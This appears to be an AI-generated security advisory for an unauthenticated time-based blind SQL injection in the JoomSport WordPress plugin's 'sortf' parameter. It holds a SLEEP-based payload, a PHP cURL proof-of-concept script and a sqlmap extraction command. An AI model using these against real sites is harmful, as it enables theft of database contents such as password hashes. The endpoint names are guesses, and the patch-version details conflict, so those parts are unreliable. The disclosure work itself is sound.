Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-6929: JoomSport <= 5.7.7 – Unauthenticated SQL Injection via 'sortf' Parameter (joomsport-sports-league-results-management)

CVE ID CVE-2026-6929
Plugin joomsport-sports-league-results-management
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 5.7.7
Patched Version —
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6929 (metadata-based): CVE-2026-6929 describes an unauthenticated time-based blind SQL Injection vulnerability in the JoomSport plugin for WordPress, versions 5.7.7 and earlier. The injection occurs through the ‘sortf’ parameter. The CVSS 3.1 base score is 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating network exploitation with no privileges and no user interaction required, resulting in high confidentiality impact. The plugin slug is ‘joomsport-sports-league-results-management’.

Root Cause: The root cause is improper neutralization of special elements used in an SQL command (CWE-89). Based on the description and CWE classification, the plugin fails to escape the user-supplied ‘sortf’ parameter and does not prepare the SQL query adequately. This is inferred from the description; Atomic Edge analysis cannot confirm code details because no source code diff is available. The ‘sortf’ parameter likely appears in an AJAX handler or shortcode that renders league data, where the plugin constructs a dynamic ORDER BY clause or similar SQL fragment using user input. The insufficient escaping allows an attacker to break out of the intended SQL syntax and inject arbitrary SQL statements.

Exploitation: The attack vector is over HTTP/HTTPS. An unauthenticated attacker sends a malicious request to the WordPress AJAX endpoint at /wp-admin/admin-ajax.php or a JoomSport-specific REST endpoint (inferred from common WordPress plugin patterns). The attacker sets the action parameter to a JoomSport handler (likely ‘joomsport_get_events’, ‘joomsport_get_standings’, or similar) and injects a time-based blind SQL payload into the ‘sortf’ parameter. For example: sortf=(CASE WHEN (SUBSTRING((SELECT @@version),1,1))=’8′ THEN SLEEP(5) ELSE 0 END). The server response timing reveals whether the condition is true, allowing step-by-step extraction of database contents. The attacker does not need a valid nonce or capability because the endpoint lacks proper authorization checks.

Remediation: The fix (version 5.7.8) requires two key changes: (1) Use parameterized queries (prepared statements) via the WordPress $wpdb->prepare() method for the SQL query that uses the ‘sortf’ parameter, or (2) if the parameter must be used in an ORDER BY clause (where parameterized queries are not possible), implement strict whitelisting — only allow values from a predefined list of safe column names and directions. Additionally, the plugin must add proper capability checks and nonce verification to the AJAX handler to prevent unauthenticated access.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive data from the WordPress database, including user credentials (hashed passwords), session tokens, private post content, and configuration data. This leads to a high confidentiality impact. While the CVSS vector shows no integrity or availability impact, the extracted data can enable further attacks such as privilege escalation to administrator level.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6929 - JoomSport <= 5.7.7 - Unauthenticated SQL Injection via 'sortf' Parameter

// Configurable target URL (WordPress site root, no trailing slash)
$target_url = 'http://example.com';

// Assume the vulnerable endpoint is an AJAX handler with action 'joomsport_get_standings'
// This is inferred from common JoomSport functionality and the 'sortf' parameter name.
// No code is available to confirm; adjust 'action' value if needed.
$ajax_action = 'joomsport_get_standings';

// Payload for time-based blind SQL injection using MySQL SLEEP()
// Extract database version length
$payload = "(CASE WHEN (LENGTH(@@version)=8) THEN SLEEP(3) ELSE 0 END)";

$url = $target_url . '/wp-admin/admin-ajax.php';

$post_data = array(
    'action' => $ajax_action,
    'sortf'  => $payload
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Allow enough time for sleep
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);
$duration = $end - $start;

curl_close($ch);

if ($duration > 2.5) {
    echo "[+] Vulnerability confirmed: Response delayed " . round($duration, 2) . " seconds.n";
    echo "[+] The 'sortf' parameter is injectable via time-based blind SQLi.n";
    echo "[+] Use a tool like sqlmap to extract data: sqlmap -u "$url" --data="action=$ajax_action&sortf=1" --time-sec=3 --dbms=mysql --batchn";
} else {
    echo "[-] No significant delay observed (" . round($duration, 2) . " seconds).n";
    echo "[-] The endpoint or action may be incorrect, or the target is patched.n";
    echo "[-] Try other action names: joomsport_get_events, joomsport_get_league_data, etc.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School